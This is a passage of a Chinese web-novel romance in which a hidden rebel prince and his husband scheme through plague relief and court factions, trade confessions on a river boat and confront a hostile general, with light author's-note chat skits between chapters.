至于顾望笙攒下的这十万两,如同他先前在京城里各处攒下的一样,留一点充门面,其他的暗地里都往义军前线送去。 蕲镇县令是趁着夜黑风高上的船,先是一通拜会,随即叫人往大船上搬银子,说是孝敬大皇子和三皇子的。 大皇子极其道貌岸然,眼睛都快长到那些银子上了,嘴里却问着:“听说你那儿有瘟疫?没事儿吧?” 钱大威长叹一声气,大皇子终于从银子上依依不舍地收回视线,转而看向他:“钱大人有话直说。” “这瘟疫……倒是问题不大。蕲镇地势低,三面环山,一面傍水,常下雨积水,又热,因而自古瘴气弥漫,瘟疫常有。”钱大威道。 大皇子的眼睛便又往银子上瞟了,漫不经心道:“那就好,那就好。” 钱大威轻咳一声:“不过一旦发生这等灾祸,最为难人的是要钱的地方多。” 大皇子瞥他,朝银子抬了抬下巴,轻笑道:“钱大人这不挺有钱吗。” 钱大威谄笑道:“这钱是孝敬殿下和三殿下的,是下官对殿下们的心意,都是下官自个儿的钱。赈济灾民,哪能花下官自个儿的钱呢,自然是要朝廷拨款。两码事儿!哎,下官今日前来,一是为了孝敬,二是腆着脸为蕲镇的百姓求恩赐……” …… “他还真是敢腆这个脸啊!” 深夜,顾望笙静听外头人走远,躺在放下帷帐的床上凑到谢善淩耳边蛐蛐。 “我早些年流浪到过蕲镇,那时是这家伙他爹当县令,苛捐杂税、压榨劳工不必多说,倒没什么新奇的。没想到如今换个小的,更会来事儿,胆子更肥,一面将掠夺来的民脂民膏用来给自个儿铺路,一面竟想着从朝廷捞钱。” “若真给蕲镇拨了赈灾款,估计也是全进他的口袋。”顾望笙道。 谢善淩问:“所以你怎么回他的?” “我说拿人手短吃人嘴软,帮他去说说。”顾望笙说。 谢善淩看他:“那蕲镇的瘟疫……” 顾望笙神情正经起来,叹了口气:“此处离义军之地较远,不好做事。若以大皇子个人名义,却又不知怎么对老三交代。他必疑心我收买人心,疏远我。” 他与谢善淩对视,试探道:“以你名义如何?” 谢善淩却否决了:“外人眼中你我夫妻一体,以我名义与以你名义不过是掩耳盗铃的做法。” 顾望笙当即反驳:“看你这话说得,什么叫外人眼中咱俩才夫妻一体?内人眼里也是啊!” “……我在和你说正事,你若不正经,那别说了。”谢善淩翻身背对他。 顾望笙赶紧求饶,又是道歉又是保证,终于将人哄翻回来。 “你不妨一面传书进京,请求赈灾,一面就地以三皇子名义散财,就用今日钱大威送来的那些钱。”谢善淩道。 顾望笙马上就应:“好。” 谢善淩看他:“不问原因?” “我还怕你坑我不成?”顾望笙理所当然。 “说不定真坑你呢?你就不好奇我这样做不是给三皇子造势吗?”谢善淩问。 “我哪儿有你这么多心眼子……没没没你没心眼儿!我心眼儿多!”顾望笙赶紧把又转身背对过去的人往这边翻,“你别一言不合就这样……” “那好,你说为什么,其实我确实好奇。”顾望笙老实了。 谢善淩却不爽快了:“我现在不想说了。” “谢少爷,”顾望笙一脸认真,“您未免太难伺候了。” 谢少爷高傲道:“难伺候就别伺候。” 顾望笙立刻服软,抱住他蹭来蹭去地撒娇:“那可不行,难伺候也得伺候,还就得我伺候,谁跟我抢都不行,别人都没我伺候得你熨帖……” 谢善淩:“……厚脸皮。还要不要听?” “听听听。”顾望笙说。生怕一言不合谢少爷又发少爷脾气。 “其实很简单,并无什么巧思。一来赈灾事急,若等朝廷拨款,就蕲镇这小地方,即便拨得下来,也不知是猴年马月的事了,能用到瘟疫本身上的也只剩零碎。” “二来,如你所说,若以你名义,必然惹人猜忌防备,往后树敌。” 谢善淩说话间,顾望笙一直用带着笑意的眼睛注视着他,想伸手去抚摸他的脸,却又怕打扰他。 “而若你以三皇子之名,一来解燃眉之急,二来他承你情,三来,顾裕泽会看不过眼,想方设法拆他的台,又引起了他们的争端,他们争斗不断,你才能渔翁得利。” 谢善淩对上顾望笙的眼睛,道:“这事于你而言收益不大,主要只是救治灾民罢了,名声也到不了你的身上。” 顾望笙笑笑:“救人还惦记什么名声,先救吧,能不把自己栽里面就挺好。” 谢善淩强调:“你获益极小。” 顾望笙笑意越发深了:“试我呢这是?若人做每件事都得先看利益,那我老实待京城夺嫡得了,还搞这些?” 他终于忍不住伸手捏了捏谢善淩的脸蛋,手感真好。 谢善淩赶紧拉开他的手,凶狠地瞪他。 顾望笙隔空对他亲一下,随即道:“原本这趟也只是偶然赶上了,没打算得什么好处,就这么着吧。” 谢善淩沉默一阵,道:“此事道理如此简单,我不信你自己想不到,你就是想我说出来。” 顾望笙又来贴他,谄媚道:“这事儿简单我能想出来,可下次若是难的我就想不来了,还得是你啊。” “没有下次,懒得理你。” 谢善淩又沉默了一阵,大约是已经打开了某个匣子,就有些忍不住了,缓缓道:“其实,你有没有想过真的扶持顾裕珩?一旦他登基,只要将司马忠良弄死,取大梁如囊中取物。” 顾望笙也缓缓道:“不瞒你说,我确实想过。” 作者有话要说: 三皇子:没看太懂,反正就是说我要坐着收好处了吗,好啊好啊[撒花] 第52章 ◎“好像……真的喜欢上你了。”◎ 夜深人静, 显得江波涌动的声音更大了,但并不烦人,反倒听着心情舒缓。加之大船在水中微有起伏,像摇篮, 顾望笙睡得很舒服。 但睡着睡着忽然惊醒, 意识到谢善淩不在床上, 呼吸急促,转头看去, 见着好端端正倚窗而立的人,刚刚一瞬间悬到嗓子眼儿的心回到了原处。 谢善淩望着外头发呆, 直到被顾望笙从身后抱入怀中。 顾望笙原本就比谢善淩高大,他披在身上的外袍连同谢善淩一起裹住也很轻松。 他将谢善淩冰冷的手握在双掌之中, 贴贴他同样被夜里的江风吹得发凉的脸庞,低声说他:“水上本就夜凉潮湿,你还随意披着衣衫就站这儿一动不动, 是我都扛不住。” 谢善淩没说话,只用行动表明对顾望笙这番关怀的回应:放松地往他身上靠着。 谢善淩不犟不损人的时候总是显出格外的乖巧惹人疼来。 怪不得从小顽皮,总是耍同龄兄弟, 他们却还是和谢善淩关系好。谢善淩一露出乖顺的模样, 谁又舍得再跟他计较呢?只会觉得活泼可爱。 顾望笙时常这么想。 他抓着谢善淩的手揉搓了半天,终于给搓热乎了,见谢善淩还看着外头,顺着也看了过去。 此刻正途经一处城郭,远处岸边隐约可见零星的房屋轮廓,太晚了, 都是黑的。 他便嘀咕:“黑乎乎的你也能看这么入迷?” 原没指望谢善淩回答, 谢善淩却接住了这个话, 语气淡淡道:“其实,比起成就一番所谓事业,我更想四处游历山川,访仙问道。” 顾望笙一怔,转头看他。 谢善淩依旧望着沿岸黑乎乎的景,眼中怅然空洞。 可是世道黑暗,民不聊生,且外敌环伺,异邦虎视眈眈。 他身为谢太师府万千宠爱于一身的小少爷,可以只图自己惬意快活,却不愿只图自己惬意快活。 于是他割舍掉了自己的懒散自在,凭一腔热血意气,立志成就一番事业力挽狂澜。 结果却是那样的惨烈,直至彻底灰心绝望,逃避世事。 半晌,顾望笙看着他道:“若天下安定,我也想每天轻松快活地待着。” 顾望笙还要说些什么,可是话到嘴边,想了想,没说。 他有股冲动说若以后天下安定,就陪谢善淩去游历山川。可是又觉得这很难真的实现,便不愿说这大话来哄骗谢善淩。 就算日后义军攻入京城果真成就基业,他要做的事情还有很多。 百废俱兴,不容他说抽身就能抽身。要让一个新的王朝真正稳定下来,不知是多少年后才能做到的事。 这么一想,他愧疚地吻了吻谢善淩的耳朵。 谢善淩突然转头看他,眼神直直的,黑眸在夜里粼粼的波光中显得格外清冽闪亮。 顾望笙被他看得脸一阵阵羞烫,轻咳一声,故作吊儿郎当状,问:“怎么?突然发现我很英俊?心动了?” 原以为要被谢善淩嘲讽,最好也就是当没听见、不回应。却不料,很快听到了谢善淩轻轻的一声:“嗯。” 顾望笙:“……” 四目相对,顾望笙的脸就快烧起来了,心跳也快得不像样子。 皎洁的月辉让谢善淩的肤色越发呈现莹润细腻的白,嘴唇却是红红的。 顾望笙缓缓靠近,想要吻一吻,却突的一僵,从心动的春情中惊醒,睁大眼睛无措地看着谢善淩忽然红了的眼眶。 “怎、怎么了?”顾望笙急忙问。 谢善淩猛地转过身投入顾望笙怀中,将脸埋在他心口,许久没有说话。 “对我心动有这么难以让你接受吗??” “不至于是把你丑成这样了吧!!” 顾望笙自然知道不是为了这些,可他故意这样说,试图以此博谢善淩破涕为笑,可失败了。 谢善淩依旧埋着脸,头发丝和揪着顾望笙衣角的手都透着委屈难过。 顾望笙更急了:“好好儿的……我刚说错话了?那你怼我啊!我不还嘴!” 哄了好一阵,谢善淩终于开口了。他闷声道:“有时候很讨厌你。” 顾望笙嘴角狠狠一抽,欲言又止。正委屈,谢善淩又开口了:“我暗自与你对比,常觉自惭形秽。” 顾望笙怔了怔。 “你自小经历坎坷,却始终坚强乐观,我却一蹶不振。”谢善淩道,“我很无能。” 顾望笙轻叹了一声气,抬起手抚摸他的后脑长发。 没有伺机鼓励他重新出山为义军做事,而是宽慰道:“每个人的性情不同,你不也没我一身匪气嘛,你一看就是书香门第养出来的,心地又软又纯良。” 略停了下,低头看着依旧不语的人,狠一狠心背刺自己:“若你是我,必然干不出逼婚这么缺德不要脸的事儿……” 说得自己心虚起来,半晌再说不出什么。 顾望笙深陷自责,谢善淩反倒振作了点。 他闷声安慰:“是我家人先骗你结亲,你着实重视此事,我自小便可察知。因而是我没理在前,你若执意履行婚约,论理我本就该应。只是我性子倔,既理亏,又应了你,有时却还故意和你吵。” 顾望笙的心越发软成了一汪水,低头吻在他发上,抱紧他道:“我们都不说这个了。” 谢善淩:“嗯。” “……你也别胡思乱想了。” 顾望笙这会儿已经回过味来,猜测谢善淩是又发病了。 他仔细看过谢善淩的病案,还和大夫深切交谈过多回。 简单来讲,谢善淩就是想得太多,对自我要求高,对世事也要求高,总在钻牛角尖,不愿意接受缺憾。 若要进而说,他自幼顺遂,年少立业,有些过于轻狂,一朝遭受重大挫折,自信全无,总是疑神疑鬼。加上他天生心软敏感,更是雪上加霜。 …… 顾望笙低声絮絮地哄了很久,从窗边哄回被窝里,搂着又说了许久的软话,谢善淩才渐渐从自我厌弃的情绪中缓解出来。 一抬头,对上顾望笙关切的眼神,忍不住主动贴了上来,抱住他的脖子。 “我又犯病了。”他轻声说。 顾望笙没有否认,只道:“出远门散心确实有效吧,感觉今儿比以往轻一些。” 谢善淩闹得最厉害那回暂且不说,成亲后也屡次发作,总似淬了毒的双面利刃,既伤害别人,也伤害自己。可今夜…… 但顾望笙不敢掉以轻心,他仔细过问:“你感觉如何?” 究竟还是得谢善淩自个儿感觉好不好,旁人的感受难免以旁人的利益为先。 谢善淩道:“我也感觉好许多。” “当真?不是哄我?”顾望笙追问。 谢善淩点头,见他这般在意,便非常认真地说给他听:“刚刚确实心中难受,但和以往相比好了很多,没那么心烦意乱和头疼,不曾心悸。” 顾望笙这才放心,但没完全放心。 他想了想:“好就好,先不说这些了,这么晚了,先睡吧。” 于是谢善淩就真先睡了。 可睡梦中察觉身边人悄然起身,谢善淩微微睁开眼睛。 顾望笙借着月光找来笔墨,掏出一本小册子,趴在窗台上似是写起了什么。 没多久就写完了,收起东西,蹑手蹑脚回来才发现谢善淩看着自己。 “写的什么?”谢善淩好奇。 顾望笙没瞒他:“你的病案。我怕睡一觉忘了细节,先记下。回京后给大夫看看,他也好更了解你的状况,调剂药量。” 如今谢善淩仍需吃药,但都是些寻常温和的草药熬制,譬如甘草、柴胡、生姜、枳实之类,解情志不舒,疏肝解郁。有时还会熬些生津开胃的。 谢善淩又发呆起来,望着顾望笙良久不语。 顾望笙习惯了,刚掖好两人被角,谢善淩又贴了过来,低低道:“我好像……” 话说一半却不说了。 顾望笙问:“好像什么?” 谢善淩起初不愿说,可顾望笙一再催促,他一咬牙,脸微热,说:“好像……真的喜欢上你了。” 顾望笙愣了下,脑子里反应过来自己听见什么时,发现自己的嘴角已经快翘到了眼角。 却又无端羞涩,故作嫌弃:“什么意思呢,现在才喜欢,你也好意思说,别人听见了都觉得那什么……等等,先前你不早说过喜欢我吗?那回难道是骗我的?谢善淩你重操旧业了是吧……先前你就是为了占我便宜是吧??” 不等谢善淩回应,他急忙忙确认:“这回是哪种喜欢???喜欢我的人多了去了,宋淮安还喜欢我呢。” “……” 对牛弹琴。 谢善淩松开牛,无语地看他一眼,就要翻身,顾望笙急忙撑起胳膊拦他,低头与他对视了一阵,笑了起来,问:“吃醋了?” 谢善淩不说话。 顾望笙的头越来越低,鼻尖几乎擦着谢善淩的鼻尖。 他低声解释:“我和宋淮安是生死之交,绝无私情,他没龙阳之好,我也不好他那样的。以往说跟他相好就是跟你赌气,随便说的,我寻思着也就他长得还人模人样,不输给顾裕泽。” 谢善淩还是不高兴,半晌问了句:“那你喜欢哪样的?” “我喜欢哪样的你还不清楚?”顾望笙蹭了蹭他,“清楚了吗?” 谢善淩给他一个白眼,别过脸去不说话,依旧不高兴。 顾望笙笑出了声,把他脸往这边扭,继续哄:“逗你的,我只喜欢你一个,再没人跟你一样,就算哪儿像,我也不会移情别恋,我很专一的。我自小就认定了你,你从女人变男人我这份心意都没变。” “你才从女人变男人……”谢善淩嘀咕。 可是一想自己确实是从“善菱”变善淩,难得讪讪起来,心虚不再说话。 顾望笙笑着看他,手抚摸着他的额发,忍不住低头与他亲吻。 夜里的江水载着船舶起起伏伏,一时缓,一时急。黑夜里远远近近地传来不知什么鸟或鱼的声音,似竭力压抑的呜咽,似幽幽怅然的叹息,又似暧昧缠绵的私语,晦涩绵长,时断时续。 作者有话要说: 秦青:官宣一下,谈了。 宋淮安:无人在意哈。 宋淮安:话说婚都结这么久了你才在这谈,你也是挺搞笑的哈。 宋淮安:笑发财,真的越想越好笑哈。 宋淮安:你俩拿我当play呢? 宋淮安:你俩真是天生一对哈。 宋淮安:这年头谁家好人结婚啊。 宋淮安:有时候觉得顾裕骐挺好的,至少性取向正常。 宋淮安:我不是歧视gay,我就是单纯歧视你俩。 宋淮安:不敢回我了吧? 秦青:哄老婆睡觉呢,你有什么事儿? 宋淮安:我真觉得好笑,睡个觉还要人哄,哈哈哈哈哈,小学生啊? 宋淮安:说话啊。 宋淮安:我就说谁家好人结婚啊,结完婚都没空回消息了,真可怜。 代小京(串场):兄弟,夜里被子很凉吧[笑哭] 宋淮安:我有热水袋,你们这些处了对象的人有吗[摊手]对象可能跑掉,热水袋会跑吗[摊手] 秦青:可能会漏水。 谢善淩:你俩的生死之交也是挺漏水。 秦青:其实不是很熟,主要是同事。 第53章 ◎谢善淩冷笑道:“没错,所以别得罪我。”◎ 蕲镇赈灾一事略略耽误了点时候, 所幸一切尚算顺利。 县令钱大威虽然满嘴谎言,但有句话倒是真的。蕲镇自古瘴气笼罩,毒蛇毒虫不断,多生瘟疫, 因而应对起来也颇有经验。只是需要钱而已。 顾望笙将钱大威送来的钱用于瘟疫之上, 钱大威本有所微词, 旁敲侧击,顾望笙一副与他推心置腹的样子, 缓缓道:“如今二皇子不幸……三皇子和四皇子之争愈演愈烈,四皇子惯会收买民心, 这些时日出现了许多对三皇子不利的流言……你懂吧?” 正所谓术业有专攻,若与钱大威论圣人之言他不懂, 论这争权夺利的事,他转瞬即懂。 “啊!”他低呼。 收买民心嘛!这很好懂! 平日里如何鱼肉都好,待百姓深陷水火之中时, 只需花小小的钱,略摆出一点姿态,便能哄得那些贱民晕头转向, 感恩戴德, 旧仇一笔勾销。 贱民嘛,忘性大,天生卑贱。 顾望笙满意地看他:“我果然没看错钱大人。我流落民间多年,又娶了男妻,无缘大位,这些年三皇子替我承欢父皇膝下, 我甚感慰, 愿助他一臂之力。” 说得跟四皇子不孝似的……恐怕只是因为三皇子的生母菅贵妃宠冠后宫、你识时务罢了! 钱大威这么想, 自然不会这么说。 只是想明白了大皇子有意利用蕲镇瘟疫为三皇子造势,自觉成为了来日的从龙功臣,对于大皇子要他尽心尽力处理瘟疫一事绝不敢造次,甚至主动提出自掏腰包再添点儿。 大皇子:“哎呀,这多不好,已经叫钱大人破费过了……” 钱大威急忙道:“下官说了,孝敬两位殿下的钱是一码事,赈灾又是一码事……”话锋一转,“不过,都是下官的心意!来日……” 顾望笙拍拍他肩,意味深长:“来日金銮殿上论功行赏,本殿下排第一,钱大人排第几呢?” 钱大威顿时面露红光,激动搓手,嘿嘿笑着,仿佛已经到了论功行赏的那一日。 “不敢当不敢当,嘿嘿……” 至于京城中的顾裕珩那儿,顾望笙暗地叫人将自己利用此事给他造势的谋算传了过去,那人是顾裕珩的人,将所见所闻说给他和贵妃、司马忠良听。 三人一听顾望笙确实是以顾裕珩名义在做这事,并不是花言巧语为他自己做嫁衣,便觉得此事倒也划算。 菅贵妃还有些将信将疑:“没想到他还真为珩儿着想……” 顾裕珩有点心疼钱,但还是得意哼哼。 “我早说了吧!你们别怀疑他了!他如今无依无靠,娶了谢善淩这只会惹事儿的,还是个男的,谢家也不顶什么用,怎么看都不像是有心夺嫡的。我甚至怀疑他娶谢善淩主要就是为了表明自己的决心呢。” 司马忠良叹了声气。 顾裕珩防备地瞥他一眼,没敢表露不满,很快收回视线继续看着母妃,别有意味道:“虽说死者为大,可都说到这儿了,我不得不说老二几句,我一直都觉得他非盯着顾裕帧咬,就是没事儿找事儿,故意邀功。” “‘养寇自重’母妃一定听过。老二无非也是玩儿这一招,凸显他多重要罢了!”顾裕珩又飞快地瞥司马忠良一眼,摆摆手,“不说了不说了,死者为大。” 司马忠良笑一笑道:“既如此,无论如何,蕲镇之事确实大有文章可做。不妨增派些人代表三殿下前去赈灾,将声势再浩大些。” 如此一来,蕲镇瘟疫很快就得以控制。 后续自有司马忠良他们从京中派来的人收尾,顾望笙的船就没多停留,继续南下。 沿途又收了些钱,顾望笙赶紧叫人送往京中三皇子府,顾裕珩为了赈灾花银子一事的微词这才渐渐消了。 * 顾望笙一行人来到浔阳城时,其他从别处调来统合援军收复黔阳的人早已抵达,但因他这个名义上的监军未到,迟迟不能动手。 原本那些人就多是四皇子一系的,这一来更是对顾望笙颇不待见。 顾望笙一副来混事儿的模样,但好在很识时务,一到就掌心朝上摊手直言。 “你们皆是有军功在身的经验之人,我别说经验了,纸上谈兵也谈不出什么东西,今后收复黔阳如何作战,你们看着办,我就在一旁看着,不瞎指挥。但你们也别趁机挟带私仇。” “我说话直你们别介意,反正在座的也都是明白人,我们就说敞亮话。军国大事,我是不敢牵扯进派系之争,若谁要这么混扯不清,将来出了岔子,我不担这个责。” 顾望笙这话说得敞亮,其他人相互使了个眼色,倒也说不出别的来。 这个大皇子若能真不添乱,已经超出了他们的预期。 顾望笙说到做到,每次开会他按时参加,会上一言不发,就拢着手坐在一旁安静而努力地听,但一脸努力听也听不懂的样子,讪讪地低头吃茶果。 对于草包来说,属于能让人容忍的那一个。 而有他在,三皇子与奸妃一派倒也没怎么给这边使绊子。当然了,这其中少不了顾望笙的活动,他闲着不掺和军务,心思全在替三皇子圈功上,到处造势。 但这是难以避免的,前线将领无心与他争这个,留给其他人去争。 可其实也没什么好争的。 不到一个月的时间,三皇子派和四皇子派就由争功变成了甩锅。 功劳一概没有,战事不利的黑锅很多。 即便没有内忧,朝廷军也一再吃亏。匪军那边倒没急着扩张,就是守城消耗前去攻城的朝廷军而已,而且做得很成功。 由于大皇子一开始就态度鲜明不掺和决议,只负责跟朝廷要支援的事儿,三皇子一派在朝会上攻讦四皇子派的将领攻战不利就越发站得稳脚跟了。 可四皇子派也不是没有反击。他们就说大皇子身为名义上的统帅,却在战事上没有做出该有的英明指挥决断,实属办事不力。 可这样的反击不太有力。三皇子派振振有词:难道后线支援不要紧吗?大皇子在这上面出错了吗?他做得很优秀啊! 这是实情,四皇子派系倒也没有话说。 * 顾望笙看完三皇子的秘密来信,递给一旁的谢善淩。 “说了不要给我看这种东西,我没兴趣……”谢善淩抱怨着,手却已经接了过来。 一抬眼瞥见顾望笙忍笑揶揄的眼神,谢善淩为自己申诉:“你非递过来的。” “嗯嗯,是我强塞给你的,你一介文人哪能敌我这土匪,被迫接了过去。”顾望笙故作一本正经地给他圆场。 谢善淩忍俊不禁,一边看信一边主动将脸凑过去跟顾望笙的脸贴了贴。 顾望笙顺势搂住他。 可谢善淩看清信上所写,脸色就晴转阴了。 三皇子的意思总结起来就是,既然战事持续不利,功劳是圈不到了,那就弄点其他利益吧,譬如倒卖兵器粮草马匹,分分军饷什么的。 “常有之事。”顾望笙低声说,“就说这浔阳城的军需一概,私下里也没少这事儿。”他停了下,道,“宋淮安就爱从浔阳城买粮草兵器,贵是贵了点儿,质量最好。” 谢善淩自然知道这些,只是想起来仍觉不忿。 片刻后,他深呼吸,压下心头怒火,淡淡道:“这次这批,你们要买吗?” 顾望笙点头。 “如今宋淮安盘踞黔阳,我和他议定只守不攻,因为之前大小战役我们也消耗了不少,趁这个机会休养。而且最近吸纳了几股义军,统合需要时间。人一多,所需东西就多,正好我捞了那些钱银可以买下这批军需。”他说。 谢善淩却道:“先试试不要钱。” 顾望笙笑起来:“你这比我还土匪啊。” 谢善淩冷笑道:“没错,所以别得罪我。” 顾望笙急忙配合地将头靠在他肩上,柔柔弱弱道:“我可真不敢得罪你。” 谢善淩白他一眼,视线回到信上,又气不打一处来。 * 浔阳城离京城远,当初谢善淩被潘家诬陷的事没怎么传到这来,民众也见了他也不怎么认得出来。因此谢善淩来了后渐渐挺愿意出门走走。 浔阳在南边,与北方是不一样的风土人情。 今日没什么事,顾望笙便陪谢善淩一同走在街头,偶尔低头贴耳道:“以后这里也是咱们的。” “那片房屋后头的两条街是本地贵户官员聚居之地,到时若攻进来了,那边得好好治住。吓吓他们,看能不能榨点钱出来。” “‘点’?”谢善淩微笑道,“按人头算钱,交钱活命,他们肯的。” “……噗。你真是比我还狠。”顾望笙道。 谢善淩冷笑:“一个也冤枉不了。” 在不远不近跟着的人看来,只是两人又在腻歪罢了。 两人边走边说,突然停下了脚步,因为面前有拦路虎。 对面是此次调来援战的将领,名为宁蔚。 宁蔚曾是凌风飞骑的一员,因腿部受伤,不便再轻骑快战,因而退了出来。 此刻他冷眼看着谢善淩,没有让开的意思。 片刻,宁蔚看了眼一旁的顾望笙,看回谢善淩的脸上:“我真为他不值。” “喂,你什么意思?”顾望笙不悦道。 宁蔚却不惧他身份,仍旧定定看着谢善淩。 谢善淩也没好脸,冷道:“好狗不挡道。”停了下,嗤笑一声,“哦,是我错了,你又不是好狗,你是恶犬。” 作者有话要说: 宋淮安:话又说回来了,能娶到弟妹,实乃贤弟祖坟冒青烟。 祖坟皇陵真在燃烧。 贤弟:火就是我放的。 宋淮安:放得好。 第54章 ◎顾望笙愕然看着谢善淩,感觉自己对这妻子的认识还远远不够。◎ 谢善淩的难听话说出口, 对面跟宁蔚站一起的几人面色微变,看向顾望笙的眼神凌厉起来。 顾望笙:“……?” 谢善淩上前一步,将顾望笙挡在身后。 ——由于身高体型上的差别,没完全挡成, 顾望笙仍旧能将对面越发怨恨的视线接个完全。 可他底气越发充足, 眨了眨眼睛, 在耀武扬威和装无辜之间选择了后者,一脸做作地回看过去, 对面更是恼怒却又无从发作。 其他人还好,宁蔚忍不住地冲谢善淩道:“你若只是贪生怕死避世远居也就算了, 如今竟做出这样的事来,还敢招摇过市, 真是不知羞耻!” 谢善淩反问:“你主人知道你在这朝我乱吠吗?” 宁蔚冷笑:“时至今日,你还还仗着他的不忍,果真是不知羞耻水性杨花的——” “说够了没!”顾望笙沉声怒喝, “宁蔚你疯了?当街侮辱皇室中人,你——” 谢善淩却阻止他:“这里天高皇帝远,他又身为临战之将, 笃定了你不能拿他如何, 否则他拿贻误战机说事,陛下只会叱喝你。” 说着看向宁蔚,轻蔑道:“狗仗人势的东西,你以为他胆子能有多大?不过是权衡利弊才敢如此。” 顾望笙皱着眉头拉住他,示意既如此就转身绕路走得了,总比站这儿受无用的屈辱强。 谢善淩却挣开他的手, 朝宁蔚走过去。 “善淩!”顾望笙忙去拉, 却被谢善淩回头看了一眼, 摇头示意无事。 顾望笙犹豫了下,松开他。 谢善淩走到宁蔚面前,突然抬脚就朝他瘸的那条腿踹去。 顾望笙:“……” 呃,别人猛踹瘸子那条好腿已经挺那什么,谢善淩你踹人家瘸腿会不会太……不过那家伙莫名其妙挑衅在前,也是活该! 宁蔚是武将,及时察觉躲了下,可他到底行动比常人不便,一时身形不稳,虽然被人及时扶了把,仍显狼狈。 周围来往的百姓不敢光明正大地停留看热闹,却会暗戳戳地假装在附近小摊上有事儿,手里拿着白菜橘子等物,狂用眼角旁光瞅这边。那一刻有人下意识发出惊呼,反应过来后急忙闭嘴,局面却已然尴尬。 宁蔚腮帮子咬紧,仇恨地瞪着谢善淩。 顾望笙怕他发狂动手,正要拉走谢善淩,就听到谢善淩问:“瘸了一条腿还不记事,不是恶犬,是疯狗啊?是想另一条也瘸掉吗?” 搞半天他腿你弄瘸的啊?! 顾望笙愕然看着谢善淩,感觉自己对这妻子的认识还远远不够。 就连宁蔚身边的人都很是诧异,看看谢善淩,看看宁蔚的脸又去看宁蔚的腿。 宁蔚呼吸急促,眼中赤红,脸颊不断抽搐,手握住腰间剑柄,指尖用力泛白,甚至微微颤抖。很显然,他正在竭尽全力地克制自己。 若是顾望笙出言寻衅甚至动手,宁蔚及身旁众人不怕。如谢善淩所言,宁蔚身为临战之将,收复黔阳城由他主责,若出了事,皇帝多半会更怒于顾望笙为了儿儿情长枉顾大事。 可是谢善淩出面,事情就不一样了。 他如今是光脚的不怕穿鞋的,不仅性情刚烈满朝皆知,与潘家的那场争端中虽说不上皇帝对他有愧,却也着实是……有太多不可说。 更何况,说不定皇帝骂他都骂累了,甚至恐怕还会觉得谢善淩只是口头骂回来,而非当街火烧点什么东西,已经算大皇子管教有方…… 再者说,还有个其他事上英明决断、唯独碰到谢善淩就为情所困的四皇子…… 宁蔚还僵持着没动,身旁人低声劝他不要和谢善淩一般见识。 良久他都没动,却也没再说话,身边人知道以他脾性这就是肯让步的意思,便拉着他退到一边。 谢善淩嫌恶地横他一眼,大步朝前走去。 顾望笙急忙跟了上来,待拐过一条街才低声问:“他腿……” 谢善淩光明正大回答:“我弄瘸的。” “哦。”顾望笙没往下问。 谢善淩不会无缘无故弄瘸别人的腿,肯定是宁蔚干了过分的事。 两人并肩又走了一段路,顾望笙越想越不对劲,停住脚步问:“那家伙不会是对顾裕泽……” 谢善淩随之停住,转头看他,原本心中仍有些怒气,这一下被他逗乐了,说:“那倒不是。宁蔚只是很狂热地崇拜他。” 顾望笙仍旧怀疑:“真的只是崇拜吗?” “真的。”谢善淩淡淡道,“不然我和顾裕泽闹翻,他高兴还来不及,何必因为我水性杨花抛弃顾裕泽而仇视我。” 顾望笙嘴角抽搐了一下:“我看不止他……他身边那些人甚至都不怎么瞪你,光瞪我了。” 谢善淩沉默了下,幽幽道:“因为他们都以顾裕泽马首是瞻。我不知顾裕泽怎么跟他们说的,他们一直将我视作……” 他斟酌了一下,没斟酌出合适的词来,就没说了。 顾望笙更觉不对劲了:“什么时候开始的?那会儿你跟我解除婚约了吗?他们知道吗??” 谢善淩轻叹一口气,颇为无奈:“都是些世家公子,也不知是哪儿走漏了风声,多少知道些。不过,他们似乎认为我解除和你的婚约是为了顾裕泽……” 顾望笙曾经保证不再吃顾裕泽的醋,可此刻忍不住小酸一把:“你俩到底多亲密才给他们这错觉啊?” “我不知道。”谢善淩平静道,“顾裕泽自小被贤妃苛求上进,虽不比你惨,但相对幼时的我而言,我见了觉得是很可怜,何况他与你血脉亲密,那时我愧疚于你的失踪,对他多有照顾亲近……” “等等!我失踪,你照顾亲近他干嘛?”顾望笙更酸了。 谢善淩无辜:“我哪会知道后来你俩关系这么差?倒是想照顾你,你不见了啊。” 停了下,他声音放轻,道:“后来见他遇事明断,我们也渐渐大了,就起了辅佐明君之心,直到唐献仪之事……我与他决裂。就是这样。” 为了将谢善淩的注意从他耿耿于怀的唐献仪这事上移开,而且也确实好奇,顾望笙就问:“宁蔚的腿是为什么事儿?” 谢善淩回过神来,左右看看,凑到顾望笙耳边低声:“宁蔚脑子不太好,我和顾裕泽闹翻后,他把我绑走下药送给顾裕泽……我假意屈服与他周旋,趁他不备砍断了他脚筋。” “事后顾裕泽替他周旋,对外说是他执行公务受的伤。我不想为此事给家里带来麻烦和宁国公府纠缠不清,就答应了不对外说破。” “……”顾望笙静默一阵,诚心诚意地冲他作揖,“多谢谢公子不砍我之恩。” 谢善淩瞥他,大度道:“是你的话,我可以格外宽容。而且……” “而且什么?” “你头戴凤冠的样子很漂亮。”谢善淩说。 四目相对,顾望笙忍不住甜蜜笑了起来。 谢善淩却关心另一件事,问:“我先前问你几次宁蔚他们有没有为难你,你总说没有,我还以为顾裕泽把他们调|教好了呢,今日看来,是你在报喜不报忧?” 顾望笙怕他生气,忙解释:“不是有意骗你,一来怕你担心,二来也是觉得没必要,他们真没怎么难为我,毕竟还指望我向京中要钱要粮。顶多就是给给脸色不搭理我,可我原本也懒得搭理他们。比起戒贪那伙秃驴,宁蔚这些人算得上讲道理了。” 谢善淩一时竟语塞,看顾望笙的眼神忍不住又怜爱起来。 半晌,他悻悻然道:“我以前常陪祖母吃斋,见过那个戒贪,当时就觉得这人贼眉鼠眼心术不正,没想到竟品行如此低劣,欺负一个小孩!我先前说去圣林禅寺吓吓他你都不肯……” 顾望笙失笑:“多少年前的事儿了,何况又没下杀手,何必多生枝节。” 说着忍不住拉住谢善淩的手。谢善淩记仇的模样也是很可爱。 谢善淩哼了一声,却不舍得多说顾望笙,反而更是喜欢。 顾望笙虽记着多年前的事儿,大概只是记性好罢了,真让他去报复他却一概推说算了不是大事儿。但他却会报恩,在京城时拉谢善淩重返过圣林禅寺,不找戒贪,去找藏书阁的一个扫地老僧。 他对谢善淩说过很多次那老僧对他的好。 最终如愿见着了老僧。 老僧见顾望笙“衣锦还寺”,平静中微微露出些欣慰的喜色,却没多说什么,只是不卑不亢道:“平安长大就好。我出家修行只求耳目清净,要金银财物无用,大殿下若有心,代我惠赠需要之人即可。我还有事要做,恕不多陪。” 